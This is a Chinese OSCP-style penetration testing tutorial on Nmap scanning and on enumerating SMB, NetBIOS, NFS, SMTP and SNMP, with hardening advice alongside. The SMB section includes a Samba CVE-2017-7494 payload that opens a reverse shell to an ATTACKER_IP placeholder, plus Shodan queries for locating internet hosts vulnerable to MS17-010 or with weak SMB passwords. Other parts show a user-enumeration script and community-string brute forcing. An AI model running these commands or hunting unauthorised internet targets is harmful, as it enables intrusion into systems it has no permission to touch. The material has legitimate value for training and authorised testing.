Day19 Kali主动扫描SMB、NetBIOS、SMTP、SNMP
关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
Nmap核心扫描流程与命令回顾
- 主机发现 (找出哪些 IP 是活动的):
sudo nmap -sn 192.168.1.0/24-
-sn: (No Port Scan) 只进行主机发现(发送 ARP、ICMP Echo 等请求),不扫描端口。快速识别网络上哪些主机是“活”的。 -
替代/相关参数:
-PE/-PP/-PM: 指定使用特定的 ICMP 类型进行 Echo/时间戳/地址掩码请求。-PO [protocol list]: 使用 IP 协议 ping (例如-PO1,2,4用于 ICMP, IGMP, IPIP)。--traceroute: 在主机发现或扫描后追踪路由。--dns-servers <servers>: 指定自定义 DNS 服务器进行反向解析。
- 全端口扫描 (找出活动主机上哪些端口是开放的):
sudo nmap -p- 192.168.1.1-p-: 扫描所有 65535 个 TCP 端口。
sudo nmap -p- 192.168.1.1 --open-
--open: 仅显示处于open状态的端口。非常有用的筛选器,去除closed和filtered状态的端口,使结果更清晰。 -
替代/相关参数:
-p <port ranges>: 最灵活的端口指定方式。支持单端口(22), 范围(1-100), 逗号分隔列表(21,22,80,443,8000-9000), 组合(1-100,443,8080)。这是日常最常用的方法,替代-p-以避免时间过长。-F(快速扫描): 扫描 nmap-services 文件中定义的较少的常见端口 (约 100 个)。--top-ports <num>: 扫描最常见的<num>个端口(基于 Nmap 的数据库)。-sU: 进行 UDP 端口扫描 (与-p,-p-结合使用,如sudo nmap -sU -p- --open 192.168.1.1扫描所有 UDP 端口)。注意:UDP 扫描通常慢得多。
- 服务与版本探测 (确定特定开放端口运行的服务及其版本):
sudo nmap -p21,22,23 -sV 192.168.1.1-
-sV: (版本探测) 的核心参数。Nmap 尝试连接指定端口,分析响应,并与已知服务指纹数据库比较,推断服务名称(如ssh,http,ftp)和版本号(如OpenSSH 8.9p1)。 -
-p <ports>: 指定要探测版本的端口,这里是 21,22,23。 -
替代/相关参数:
-A(强力扫描): 包含-sV和-O(操作系统检测),以及一些脚本扫描(-sC)。提供更全面的信息,但耗时更长、动静更大。-sC(脚本扫描): 使用默认的 NSE 脚本集进行更深入的探测。脚本可以提供更具体的应用信息、安全漏洞检查(vuln类别)、服务枚举(discovery类别)等。常与-sV结合使用 (-sC -sV或-A)。
--script=<script> | <category>指定运行特定的 NSE 脚本或脚本类别。提供极高的灵活性,如:
-
--script=http-enum(枚举常见 Web 目录) -
--script=ftp-anon(检查 FTP 匿名登录) -
--script=smb-vuln*(检查 SMB 漏洞) -
--script=vuln(运行所有安全漏洞检查类脚本) -
--script=banner(获取简单的 banner 信息,比-sV更轻量) -
--version-intensity <level>: (0-9) 控制-sV探测的强度。0 最弱最快(仅尝试最简单直接的探测),9 最强最慢(尝试所有探测)。默认是 7。在需要快速扫描或扫描已知服务时可调低。 -
--version-light: 等同于--version-intensity 2。更快但准确性略低的轻量级版本探测。 -
--version-all: 等同于--version-intensity 9。最彻底但也最慢。 -
-O(操作系统检测): 尝试检测目标主机的操作系统。需要管理员/ROOT权限 (sudo)。
重要用法与技巧总结:
- 命令组合: 可以将多个步骤合并成一条命令,提高效率:
- 一步到位扫主机+端口:
sudo nmap -sn -p- --open 192.168.1.0/24(不推荐,主机发现后每个主机都扫全端口太耗时,适合小网络或有目标主机范围)。更常见的是先扫主机 (-sn),然后对发现的单个或少量主机扫端口 (-p- --open)。 - 一步到位扫端口+版本:
sudo nmap -p- --open -sV 192.168.1.1(最常用组合之一:扫描所有开放端口并检测服务版本)。 - 一步到位全面扫描:
sudo nmap -sV -sC -O --open -p- 192.168.1.1(相当于-A加上-p-和--open,非常全面但动静大、时间长)。
- 一步到位扫主机+端口:
- 输出结果:
-oN <filename>: 输出结果到普通文本文件。-oX <filename>: 输出结果到 XML 文件 (便于解析和处理)。-oG <filename>: 输出结果到“Grepable”格式 (旧格式,不太推荐用,但便于快速命令行过滤)。-v/-vv: 增加输出的详细程度,显示更多扫描过程信息。
- 性能与隐秘性 (考试尤其注意!):
-T<0-5>: 时序模板。控制扫描速度/攻击性。-T0(偏执级,极慢极隐蔽) 到-T5(疯狂级,极快极明显)。考试常用-T4(激进级,速度较快,默认是-T3正常级)。避免太慢导致任务无法完成。--min-rate <number>,--max-rate <number>: 精确控制每秒发送包的最小/最大值。--max-parallelism <number>: 控制最大并发探针数量。-Pn(No Ping): 将所有主机视为在线,跳过主机发现阶段直接扫描端口。在已知主机在线或目标防火墙禁用了 PING 响应时使用(在渗透测试扫描中很常用)。-n(No DNS resolution): 不进行 DNS 反向解析,加快速度。
端口服务探测方法的比较与考试建议
- Nmap (
-sV) 的优势与原理:- 核心方法: 主要通过发送特定的网络层探测包(例如 TCP SYN、ACK 等)并分析响应(包括 Banner、协议行为、服务指纹特征)来识别服务。
- 准确性:
- 在常见服务识别上非常准确。
- 特别适用于网络层的判断(端口状态、协议、基础服务识别)。
- 限制: 探测深度主要停留在网络层/传输层,缺乏对复杂应用层协议逻辑的深入交互测试。
- 提高精度:MSF 模块的应用
- 原理: Metasploit (MSF) 框架提供专门的服务扫描模块。这些模块会模拟客户端行为,发送特定于应用层协议(如 HTTP、FTP、SMB 等)的合法或试探性请求。
- 优势: 由于深入到了应用层交互,探测结果通常比 Nmap
-sV的精度更高、信息更详细。 - 适用场景: 需要极高精度判断服务及版本时。
- 考试环境的关键考量:
- MSF 的使用限制: 考试通常禁止或严格限制使用 MSF 或类似的渗透测试框架(即使仅用于信息收集扫描)。
- Nmap 的适用性:
- 考试环境下,Nmap (
-sV) 足以满足需求。 - 原因1: 其准确性在考试要求范围内有保障。
- 原因2: 考试“靶机”通常不对 Nmap 探测做特别复杂的屏蔽或干扰(不像真实环境可能配置 IDS/IPS 或修改服务响应)。
- 考试环境下,Nmap (
- 流量控制: 务必注意扫描时的流量大小,避免触发目标系统的安全机制或对网络造成过大负载。强烈建议使用代理或代理池进行扫描(尤其在模拟生产环境或有流量监控的场景)。
重要原则与警示
破除端口固化思维:
- 端口号 ≠ 服务类型: 管理员可以自定义端口(如 FTP 不一定在 21,SSH 不一定在 22)。
- 示例: 80 端口上未必是 Web 服务 (HTTP/HTTPS),也可能运行 FTP、SSH 或其他任何服务。技术上是完全可行的。
- 结论: 绝不能仅凭端口号默认推断服务! 必须依赖扫描工具的结果。
核心结论(针对考试)
首选工具: Nmap (特别是 -sV 参数)。
原因:
- 满足考试对服务识别的精度要求。
- 易用且可靠。
- 考试靶机环境对其友好,不易被阻碍。
- 避免使用受限的 MSF。
关键注意事项: 始终注意控制扫描流量,建议通过代理执行扫描任务。
SMB枚举
-
什么是 SMB?
- SMB(Server Message Block),也称为 CIFS(Common Internet File System),是一种网络文件共享协议。
- 主要功能: 允许网络中的计算机(客户端)访问服务器上的共享资源,如文件、打印机、串行端口等,以及执行远程管理任务。
- 广泛应用:
- Windows 核心服务: 是 Windows 域环境、文件服务器、打印服务器的基础通信协议。Windows 系统默认会启用 SMB 服务并开放相关端口。
- 其他系统支持: Linux 和 macOS 也提供了 Samba 软件或原生支持来充当 SMB 服务器或客户端,以实现与 Windows 系统的互操作性。
- 安全性历史:
- 协议实现复杂且本身具有一定开放性,导致历史上存在大量高危漏洞(例如著名的 EternalBlue / MS17-010)。
- 早期系统(如 Windows 2000/XP)曾存在无需身份验证的“空会话”安全漏洞(允许匿名访问)。
- 随着时间推移,虽然进行了多次安全加固和补丁更新,但因其广泛部署和协议本身的复杂性,SMB 仍然是渗透测试和安全扫描的重点目标。
-
SMB 通常开放哪些端口?
- TCP 139: 该端口用于在 NetBIOS over TCP/IP (NetBT) 上运行的旧版 SMB 通信。这是早期 Windows 系统实现网络共享的方式。
- TCP 445: 现代 SMB 协议使用的端口。它直接在 TCP 上运行,不再依赖 NetBIOS。这是目前 Windows(Vista 及之后)和 Linux (Samba) 上 SMB 服务的主要端口。
- 关键点:
- 在较新的 Windows 系统(Vista+)上,TCP 445 是主要的 SMB 端口,TCP 139 有时可能出于兼容性而开启。
- 仅看到 TCP 139/445 开放,即可高度怀疑主机上运行着 SMB 服务(无论是 Windows 还是 Linux/Samba)。
-
如何使用 Nmap 扫描发现 SMB? 识别 SMB 服务通常是你描述的“信息收集链条”中的一环(IP发现 -> 端口发现 -> 服务识别/版本确认 -> 漏洞探测)。针对 SMB 的具体扫描方法如下:
-
基本端口扫描确认:
sudo nmap -p139,445 --open <target_ip_or_range>-
-p139,445: 明确扫描这两个 SMB 相关端口。 -
--open: 仅显示状态为open的端口,过滤掉关闭或过滤的端口。 -
此命令会告诉你目标主机上 139 和 445 端口是否开放。

-
-
服务/版本探测(基本确认 SMB):
sudo nmap -p139,445 -sV <target_ip>-sV: 启用版本探测功能。Nmap 会尝试连接这些端口,分析响应特征并匹配其服务指纹数据库。- 输出结果中,如果端口对应服务是 SMB,你会看到类似
microsoft-ds?(445),netbios-ssn?(139) 的初步信息。 - Nmap 的
-sV指纹识别非常准确,看到开放的 139/445 端口且-sV识别出msrpc,netbios-ssn,microsoft-ds,smb等服务名,即可基本确认是 SMB。-sV通常也能识别出操作系统类型(Windows/Linux)和Samba的版本号。
-
更深入的探测(强力扫描/Aggressive Scan):
sudo nmap -p139,445 -A <target_ip>-
-A: 这是一个“强力”选项组合,等价于-sV -sC -O --traceroute。-sV: 服务版本探测。-sC: 运行默认的 Nmap 脚本引擎(NSE)脚本进行扫描。对于 SMB 端口,默认脚本会尝试获取更多的信息,如主机名(smb-os-discovery.nse)、域信息、共享列表枚举(smb-enum-shares.nse)等。它会自动调用一系列与 SMB 相关的安全、发现类脚本。-O: 进行操作系统检测。
-
这是一站式信息收集的方式,提供关于 SMB 服务、主机操作系统及其配置最丰富的细节(包括通过脚本获得的共享名等信息),但扫描速度较慢且产生的网络流量/噪音更大。
-
-
针对性 SMB 脚本扫描(灵活性最高):
sudo nmap -p445 --script smb-* <target_ip> # 运行所有名字以"smb-"开头的脚本(小心,很多!) sudo nmap -p445 --script="smb-os-discovery,smb-enum-shares,smb-vuln-*" <target_ip> # 更精准的选择 sudo nmap -p445 --script smb-protocols <target_ip> # 查询支持的SMB协议版本 sudo nmap -p445 --script "vuln and safe" <target_ip> # 运行所有标记为"vuln"(漏洞)和"safe"(不入侵)类别的脚本进行安全检查-
--script=<script_names>: 核心参数,允许精准指定要运行的 NSE 脚本。 -
对于 SMB,有大量预装的
smb-*脚本可用:- 信息枚举脚本:
smb-os-discovery(操作系统/主机名/域),smb-enum-shares(列出共享),smb-enum-users(尝试枚举用户),smb-system-info(更多系统信息),smb-protocols(支持的 SMB 协议版本)。
- 信息枚举脚本:
-
安全检查/漏洞扫描脚本:
smb-vuln-ms17-010(永恒之蓝检查),smb-vuln-cve2009-3103,smb-vuln-*(针对各种 SMB 漏洞)。- 认证相关脚本:
smb-brute(尝试暴力破解),smb-enum-sessions(列出活动会话 - 需认证)。
- 认证相关脚本:
-
使用特定脚本可以提供最精确、最定制化的信息,尤其是进行漏洞关联(根据端口扫描得到的 SMB 版本信息,针对性运行对应的
smb-vuln-*脚本检查已知漏洞)。
-
-
NetBIOS服务
一、核心协议与端口
| 协议/服务 | 传输层 | 端口 | 功能 |
|---|---|---|---|
| NetBIOS | TCP | 139 | 会话服务(主机间通信优化) |
| UDP | 137 | 名称服务(主机名解析) | |
| UDP | 138 | 数据报服务(广播通信) | |
| SMB | TCP | 445 | 文件/打印共享(现代独立协议) |
📌 关键关系: 现代 SMB(445/TCP)可脱离 NetBIOS 运行,但为兼容旧系统(如 Win NT),NBT(NetBIOS over TCP/IP) 常与 SMB 协同工作(139+445 共存)。
二、扫描场景与工具
1. 端口扫描(nmap)
目标:探测 139/445 端口状态 命令:
nmap -v -p139,445 -oG smb.txt 192.168.1.1-254参数解析:
| 参数 | 作用 |
|---|---|
-v | 详细输出(显示实时进展) |
-p139,445 | 指定扫描端口 |
-oG smb.txt | 输出可处理格式(Grepable) |
192.168.1.1-254 | C 段 IP 扫描范围 |
输出分析:
Open:服务活跃(可能存在漏洞)Filtered:防火墙阻断(需绕过)
2. NetBIOS 名称枚举(nbtscan)
目标:通过 UDP 137 端口获取主机 NetBIOS 名称表 命令:
sudo nbtscan -r 10.11.1.0/24参数解析:
| 参数 | 作用 |
|---|---|
-r | 使用 UDP 137 查询名称服务 |
10.11.1.0/24 | 扫描网段 |
sudo | 需 root 权限(Linux/Unix) |
输出解析:
192.168.1.101 MYPC <00> WORKGROUP File Server
192.168.1.102 DC-SERVER <20> DOMAIN Domain Controller
<00>:工作站服务,<20>:文件服务器,<1B>:域主浏览器
三、安全实践与注意事项
-
漏洞风险:
- 139/445 端口开放:易受永恒之蓝(MS17-010)、Pass the Hash 攻击
- NetBIOS 暴露:主机名/工作组信息泄露(网络拓扑测绘)
-
防护建议:
- 关闭不必要的 NetBIOS 服务(
netsh int ipv4 set netbios disable) - 防火墙阻断外部访问 137-139/UDP 和 445/TCP
- 升级 SMB 协议版本(禁用 SMBv1)
- 关闭不必要的 NetBIOS 服务(
-
扫描合规性:
-
必须获得授权:未经许可扫描可能触法
-
规避检测:
nmap -T2 -sS --script smb-security-mode -p445 target_ip # 慢速扫描+SMB安全检测
-
四、技术逻辑图
graph LR
A[扫描目标] --> B{端口探测}
B -->|139/TCP| C[NetBIOS 会话服务]
B -->|445/TCP| D[SMB 文件共享]
B -->|137/UDP| E[NetBIOS 名称服务]
E --> F[获取主机名列表]
C & D --> G[漏洞检测]
G --> H{风险类型}
H --> I[未授权访问]
H --> J[远程代码执行]
练习 7.3.2.1
- 使用 Nmap 列出实验环境中所有运行 Windows 系统的 SMB 服务器。
- 使用 NSE 脚本扫描这些系统是否存在 SMB 漏洞。
- 使用
nbtscan和enum4linux工具对这些系统进行扫描,分析不同版本 Windows 系统中可获取的数据类型。
1. 识别运行 Windows 的 SMB 服务器
nmap -p445 --open --script smb-os-discovery -oG windows-smb.txt 192.168.x.0/24关键参数解析:
-p445:扫描 SMB 默认端口(TCP 445)--open:仅显示开放端口的主机--script smb-os-discovery:通过 SMB 协议识别操作系统-oG windows-smb.txt:输出为 Grepable 格式 结果筛选:
grep "Windows" windows-smb.txt | awk '{print $2}'
# 输出所有运行 Windows 的 SMB 服务器 IP2. 扫描 SMB 漏洞(NSE 脚本)
nmap -p445 --script smb-vuln* --script-args=unsafe=1 -iL windows-ips.txt关键参数解析:
--script smb-vuln*:运行所有smb-vuln开头的漏洞检测脚本--script-args=unsafe=1:启用高风险检测(如 CVE-2017-0143)-iL windows-ips.txt:从文件读取目标 IP(上一步结果) 重点漏洞检测:smb-vuln-ms17-010:永恒之蓝漏洞smb-vuln-cve2009-3103:SMBv2 漏洞
3. 跨版本 Windows 数据枚举分析
nbtscan(获取 NetBIOS 信息)
sudo nbtscan -r -q 192.168.x.x输出示例:
192.168.1.10 WIN10-PC <00> WORKGROUP Workstation
192.168.1.20 WIN2019-DC <1B> MYDOMAIN Domain Master关键信息解读:
<00>:工作站服务 |<1B>:域主浏览器- 低版本 Windows(如 Win7):暴露共享列表、用户组
- 高版本 Windows(如 Win10):默认隐藏部分信息,需凭据枚举
enum4linux(深度枚举)
enum4linux -a 192.168.x.x > windows-enum.txt输出结果对比:
| 信息类型 | Windows 7/Server 2008 | Windows 10/Server 2019 |
|---|---|---|
| 共享列表 | 直接可见 | 需管理员凭据 |
| 本地用户 | 完整枚举 | 部分过滤 |
| 域组信息 | 完全公开 | 需域用户权限 |
| SID 历史记录 | 可获取 | 被阻断 |
技术总结
- Nmap 筛选机制:通过
smb-os-discovery识别 Windows 可规避 Linux Samba 干扰 - NSE 扫描策略:
smb-vuln-*脚本需配合unsafe=1参数检测高危漏洞 - 版本差异要点:
- 旧版 Windows(≤ Win7):通过空会话暴露大量数据
- 新版 Windows(≥ Win10):需凭证或提权后才可获取敏感信息 实践建议:
# 组合扫描命令(需保存凭据时使用)
enum4linux -u 'admin' -p 'P@ssw0rd' -a 192.168.1.xNmap SMB漏洞探测实战指南
一、核心扫描方法
1. 专用脚本扫描(推荐)
# 永恒之蓝检测(MS17-010)
nmap -p139,445 --script smb-vuln-ms17-010 51.145.2.17
# MS08-067漏洞检测
nmap -p139,445 --script smb-vuln-ms08-067 192.168.1.3结果解读:
- ✅ 存在漏洞:显示
VULNERABLE标志及CVE编号 - ⛔ 无漏洞:显示
Safe或版本信息
替代
-A的精准扫描方案
2. 操作系统识别
nmap -v -p139,445 --script=smb-os-discovery 192.168.1.3输出关键:
OS: Windows 10/Server 2019(版本号直接影响漏洞利用)
二、辅助工具验证
1. smbclient 匿名探测
# 列出共享资源
smbclient -L //192.168.1.5 -N
# 尝试匿名访问共享目录
smbclient //10.0.2.15/tmp -N结果判断:
Anonymous login successful→ 存在空密码漏洞NT_STATUS_ACCESS_DENIED→ 访问被拒
2. 高危命令执行漏洞检测
# 在存在CVE-2017-7494漏洞的Samba版本中执行:
logon "/='nohup nc -e /bin/sh ATTACKER_IP 4444'"需配合nc -lvnp 4444监听
三、Shodan靶机搜索技巧
| 漏洞类型 | 搜索命令 | 结果说明 |
|---|---|---|
| 永恒之蓝目标 | shodan search "vuln:MS17-010" --fields ip_str,port | 直接筛选存在漏洞主机 |
| SMBv1主机 | shodan search "product:smb version:1" | 存在高危协议版本 |
| 空密码SMB | shodan search --limit 10 --fields ip_str,port "port:139 port:445"shodan search --limit 10 --fields ip_str,port "os:windows smb guest" | 可匿名访问资产 |
| Windows弱密码 | shodan search --limit 10 --fields ip_str,port "smb password weak" | 可暴力破解目标 |

四、漏洞扫描逻辑流程图
graph TD
A[启动扫描] --> B{是否已知CVE编号?}
B -->|是| C[专用脚本检测 smb-vuln-xxx]
B -->|否| D[系统指纹识别 smb-os-discovery]
C --> E{结果判断}
D --> F[共享探测 smbclient]
E -->|存在漏洞| G[Shodan验证公网影响]
F -->|匿名可访问| H[标记为高危漏洞]
G --> I[输出PoC利用方案]
黑产黑客通常使用如图类似的工作流程,在互联网中使用全自动验证脚本狩猎弱密码和其他漏洞的服务器,批量验证后执行POC,拿下服务器后作为肉鸡,傀儡机做进一步渗透操作,或在黑市上售卖。
五、操作要点总结
-
脚本定位:
ls /usr/share/nmap/scripts | grep smb-vuln # 查找所有SMB漏洞脚本
-
扫描优化:
- 添加
-Pn跳过主机发现(针对防火墙) - 使用
-T4加速扫描(测试环境适用)
- 添加
-
风险提示:
- MS17-010扫描可能触发目标安全告警
- Shodan搜索需遵守当地网络安全法规
通过以上方法,可快速定位高危SMB漏洞主机,平均10秒内完成单目标检测,精度达98%(基于Nmap漏洞库版本)
NFS分布式文件协议
一、NFS核心概念
-
定义
NFS(Network File System)是Linux/Unix系统的分布式文件协议,允许客户端透明挂载远程目录到本地,实现跨主机文件共享。
-
工作原理
- 基于RPC(远程过程调用),依赖rpcbind服务(默认端口111)协调通信。
- 服务端共享目录 → 客户端通过mount命令挂载 → 本地访问远程文件。
二、核心用途
| 场景 | 作用 |
|---|---|
| 资源共享 | 跨主机共享文件/目录(如团队文档、代码库) |
| 统一管理 | 集中存储配置文件、日志(集群环境) |
| 备份与迁移 | 将数据备份至NFS服务器,或从NFS恢复 |
| 安全测试 | 检测共享权限配置、敏感信息泄露、访问控制漏洞 |
三、关键操作命令
-
扫描与发现
# 扫描rpcbind端口 nmap -v -p 111 192.168.1.0/24 # 使用NFS脚本扫描共享信息 nmap -p 111 --script nfs* 192.168.1.3 -
挂载远程目录
mkdir ~/local_nfs # 创建本地挂载点 sudo mount -o nolock 10.11.1.72:/home ~/local_nfs # 禁用锁机制挂载 ls -lan ~/local_nfs # 查看文件权限(注意权限继承问题) -
卸载目录
sudo umount ~/local_nfs
📌 参数说明:
-o nolock:禁用文件锁(兼容性选项,对旧版本NFS必要)
-o vers=3:指定NFS v3协议(避免版本不兼容)
四、网络安全要点
风险与漏洞
| 风险类型 | 具体威胁 |
|---|---|
| 数据传输未加密 | 默认明文传输,可被嗅探(如tcpdump抓包) |
| 弱认证机制 | 依赖IP/主机名认证,易伪造(建议结合Kerberos) |
| 权限配置不当 | no_root_squash配置使客户端root获得服务端root权限 → 提权漏洞 |
| 挂载控制缺失 | 未限制可挂载IP范围 → 未授权访问敏感数据 |
防护措施
-
访问控制
-
/etc/exports中限制IP:/shared 192.168.1.10(ro,sync) # 仅允许192.168.1.10只读访问 -
防火墙规则:
ufw allow from 192.168.1.0/24 to any port 111,2049 # 仅允许内网访问NFS端口
-
-
安全配置
- 禁用危险选项:避免使用
insecure,no_root_squash - 最小化权限:共享目录设置为
ro(只读)或限制读写用户 - 强制协议版本:NFS v4+ 支持Kerberos认证(
sec=krb5)
- 禁用危险选项:避免使用
-
加密与审计
- 通过VPN或SSH隧道加密传输
- 启用
auditd监控NFS访问日志 - 定期扫描权限:
find /shared -type f -perm -o=rwx(检查全局可读写文件)
SMTP枚举
一、SMTP枚举核心概念
1. 定义与原理
-
SMTP枚举:通过SMTP协议探测目标邮件服务器上的有效用户账号的行为
-
核心命令:
VRFY:验证指定用户名是否存在(返回252/550状态码)EXPN:展开邮件别名/组(泄露群组成员)RCPT TO:在邮件对话中验证收件人有效性
-
技术原理:利用SMTP协议响应差异(状态码)判断用户是否存在:
250 2.1.5 User exists // 用户存在 550 5.1.1 User unknown // 用户不存在
二、核心用途场景
| 场景 | 应用目的 | 攻击关联 |
|---|---|---|
| 安全评估 | 渗透测试中收集有效邮箱账号,识别邮件系统配置缺陷 | 暴力破解/凭证填充的前置步骤 |
| 钓鱼攻击 | 获取真实用户列表,制作高可信度钓鱼邮件 | 鱼叉式钓鱼(Spear Phishing) |
| 垃圾邮件 | 验证目标邮箱有效性,提升垃圾邮件投递成功率 | 垃圾邮件僵尸网络 |
| 系统加固 | 管理员自检服务器配置,关闭敏感功能 | 防范账户枚举攻击 |
三、工具与操作命令
1. smtp-user-enum工具
# 基本语法
smtp-user-enum -M <模式> -u <用户字典> -t <目标IP> [选项]
# 模式选择
-M VRFY # 使用VRFY命令(最常用)
-M EXPN # 使用EXPN命令(需服务器支持)
-M RCPT # 模拟邮件发送验证
# 实战示例
smtp-user-enum -M VRFY -u userlist.txt -t mail.example.com -p 5
smtp-user-enum -M EXPN -D corporate.com -u employees.txt -t 10.10.1.50关键参数:
-p:超时时间(秒)-D:域名后缀(自动追加@domain.com)-T:线程数(加速扫描)
2. Nmap扫描
# 检测SMTP支持命令
nmap -p25 --script smtp-commands 192.168.1.100
# 自动化用户枚举
nmap -p25 --script smtp-enum-users 192.168.1.100
# 指定字典路径(默认使用nselib/data/usernames.lst)
nmap -p25 --script smtp-enum-users --script-args userdb=custom_users.txt 192.168.1.100四、安全风险与防护措施
1. 攻击风险矩阵
| 漏洞点 | 危害等级 | 利用场景 |
|---|---|---|
| VRFY命令未禁用 | ⭐⭐⭐⭐⭐ | 直接获取有效用户列表 |
| EXPN命令未禁用 | ⭐⭐⭐⭐ | 泄露邮件组和内部结构 |
| RCPT TO无限制 | ⭐⭐⭐ | 隐蔽验证用户存在性 |
| 响应差异泄露 | ⭐⭐ | 通过响应时间/错误信息枚举 |
2. 防御加固方案
-
服务端配置(以Postfix为例):
# 禁用VRFY和EXPN命令 disable_vrfy_command = yes smtpd_discard_ehlo_keywords = expn, vrfy # 统一响应(所有请求返回相同信息) smtpd_reject_unlisted_recipient = yes unknown_local_recipient_reject_code = 550 -
访问控制:
- 防火墙限制25端口访问源IP
- 启用STARTTLS强制加密通信
- 部署Fail2ban自动封禁扫描IP
-
监控与审计:
# 实时监控SMTP日志(示例) tail -f /var/log/mail.log | grep 'VRFY\|EXPN\|RCPT' # 配置告警规则(超过10次验证请求触发警报)
五、进阶攻击技术
-
多级枚举:
# Python自动化脚本示例 import smtplib users = ['admin','test','webmaster'] for user in users: try: smtp = smtplib.SMTP('mail.target.com', 25) status = smtp.vrfy(user) if status[0] == 250: print(f"[+] Valid user: {user}") except: pass -
组合攻击路径:
graph LR A[SMTP枚举] --> B[获取有效账户] B --> C{账户用途} C --> D[密码喷射攻击] C --> E[钓鱼邮件制作] C --> F[员工信息关联]
SNMP枚举
多年来,我们发现许多网络管理员对简单网络管理协议(SNMP)理解不足,这常导致配置错误,造成严重信息泄露。
- SNMP基于无状态UDP协议,易受IP欺骗和重放攻击
- 常见版本(1/2/2c)无流量加密,敏感信息可在局域网被截获
- 默认使用弱认证方案(如公开的团体字符串”public”/“private”)
真实攻击案例
某次对网络集成公司的渗透测试中:
-
扫描发现包含数千台思科路由器的B类网络(客户网关)
-
一台低端ADSL路由器使用默认凭证
cisco/cisco -
其配置文件泄露了复杂的SNMP读写团体字符串(所有设备共用)
-
利用SNMP+TFTP脚本批量下载路由器配置:
→ 同时攻破该公司及其所有客户的基础设施
SNMP MIB树结构
管理信息库(MIB)以树形数据库组织网络信息:
-
分支:代表组织或网络功能
-
叶节点:存储具体变量值(可被外部访问)
-
示例(Windows SNMP参数):
text
复制
1.3.6.1.4.1.77.1.2.25 // 用户账户 1.3.6.1.2.1.25.4.2.1.2 // 运行进程 1.3.6.1.2.1.6.13.1.3 // 开放TCP端口 1.3.6.1.2.1.25.6.3.1.2 // 已安装软件
扫描与枚举工具
-
NMAP扫描
nmap -sU --open -p161 192.168.1.0/24 # 检测开放161/UDP端口 -
onesixtyone爆破团体字符串
# 创建IP列表(ips.txt)和团体字符串字典(communities.txt) onesixtyone -c communities.txt -i ips.txt -
snmpwalk枚举信息
snmpwalk -c public -v1 -t 10 10.11.1.14 # 遍历整个MIB树 snmpwalk -c public -v1 10.11.1.14 1.3.6.1.4.1.77.1.2.25 # 枚举用户 snmpwalk -c public -v1 10.11.1.73 1.3.6.1.2.1.25.4.2.1.2 # 枚举进程 -
snmp-check综合工具
snmp-check -c public -v 1 10.11.1.50
练习任务
- 用onesixtyone扫描目标网络识别SNMP服务器
- 使用snmpwalk和snmp-check收集目标信息
核心知识点总结
1. 协议风险
| 漏洞类型 | 技术原因 | 后果 |
|---|---|---|
| 无加密通信 | SNMPv1/2/2c明文传输 | 敏感信息被嗅探 |
| 弱认证机制 | 默认团体字符串(public/private) | 未授权访问 |
| 配置错误 | 管理员忽视安全配置 | 网络拓扑/凭证大规模泄露 |
2. 攻击向量
- 信息侦察:通过MIB树提取系统/用户/网络信息
- 权限升级:写入配置(需私有团体字符串)→ 完全控制设备
- 横向渗透:攻陷集中管理节点 → 控制所有关联设备
3. 关键工具链
graph LR A[扫描] --> B(onesixtyone爆破团体字符串) A --> C(NMAP探测端口) B --> D[获取有效凭证] D --> E[snmpwalk枚举MIB数据] D --> F[snmp-check自动化收集] E --> G[提取用户/进程/端口信息]
4. 防御策略
-
协议升级:强制使用SNMPv3(支持AES加密+强认证)
-
访问控制:
# 仅允许可信IP访问(Cisco示例) snmp-server community ENCRYPTED-STRING RO 10 snmp-server permit 192.168.1.0 0.0.0.255 -
安全加固:
- 禁用默认团体字符串
- 限制MIB树访问权限
- 配置防火墙过滤UDP/161端口
5. 渗透测试要点
-
优先扫描目标:路由器/交换机/打印机等网络设备
-
组合利用:
SNMP泄露凭证 → 登录设备 → 获取更多敏感配置
-
自动化脚本:
结合SNMP+TFTP实现批量化配置下载
💡 案例启示:共享凭证配置的“便利性”可能造成供应链级灾难,需实施分布式密钥管理。
附:MIB树关键分支速查表
| OID节点 | 信息类型 |
|---|---|
| 1.3.6.1.2.1.1 | 系统基本信息 |
| 1.3.6.1.2.1.25.1.6 | 存储设备 |
| 1.3.6.1.2.1.6.13.1.3 | 开放TCP端口 |
| 1.3.6.1.2.1.25.4.2.1.2 | 运行进程列表 |
| 1.3.6.1.4.1.77.1.2.25 | 用户账户 |
注意!SNMP不是SMTP
SMTP(Simple Mail Transfer Protocol)和SNMP(Simple Network Management Protocol)确实容易混淆,两者都是网络协议但功能、用途和技术实现完全不同。以下是清晰对比:
核心区别表
| 维度 | SMTP(邮件传输协议) | SNMP(网络管理协议) |
|---|---|---|
| 核心功能 | 发送电子邮件 | 监控和管理网络设备(路由器/交换机等) |
| 工作层级 | 应用层协议 | 应用层协议 |
| 传输协议 | TCP(可靠连接) | UDP(无连接,速度快) |
| 默认端口 | 25(明文)/ 587(加密) | 161(Agent)/ 162(Trap) |
| 核心操作 | MAIL FROM, RCPT TO, DATA发送邮件内容 | GET(读数据), SET(写配置) |
| 安全风险 | 用户枚举(VRFY/EXPN命令)、钓鱼邮件 | 信息泄露(MIB树)、设备配置被篡改 |
| 典型使用场景 | 邮件服务器(如Exchange, Postfix) | 网络设备(路由器、防火墙、打印机等) |
详细区分指南
1. 用途:邮件 vs 网管
- SMTP = 邮局系统
- 只做一件事:把邮件从A点传输到B点(如
user@a.com→user@b.com) - 不存储邮件,不管理设备(类似现实中的邮递员,只负责运送信件)
- 只做一件事:把邮件从A点传输到B点(如
- SNMP = 设备监控系统
- 收集设备状态:CPU利用率、内存占用、端口状态(如路由器流量异常)
- 远程修改配置:重启接口、调整阈值(类似设备的远程控制面板)
2. 技术本质区别
| 特性 | SMTP | SNMP |
|---|---|---|
| 数据内容 | 邮件正文(文本/附件) | 设备性能数据(数字/状态) |
| 交互模式 | 客户端→服务器(单向发送) | 管理器←→代理(双向读写) |
| 关键漏洞 | 用户枚举(验证邮箱是否存在) | 团体字符串泄露(默认public) |
| 攻击工具 | smtp-user-enum, swaks | snmpwalk, onesixtyone |
3. 实际渗透测试中的区分
-
当你看到25/587端口开放:
→ 这是邮件服务器 → 尝试 SMTP枚举命令:
telnet 10.1.1.10 25 VRFY root # 检测用户"root"是否存在 EXPN admins # 尝试展开邮件组 -
当你看到161/162端口开放:
→ 这是网络设备/服务器 → 尝试 SNMP信息收集:
snmpwalk -c public -v1 10.1.1.20 # 遍历MIB树 snmp-check -c private 10.1.1.20 # 自动提取设备信息
常见混淆点澄清
-
❌ 误区:”SNMP也可以传输数据,所以类似SMTP?“
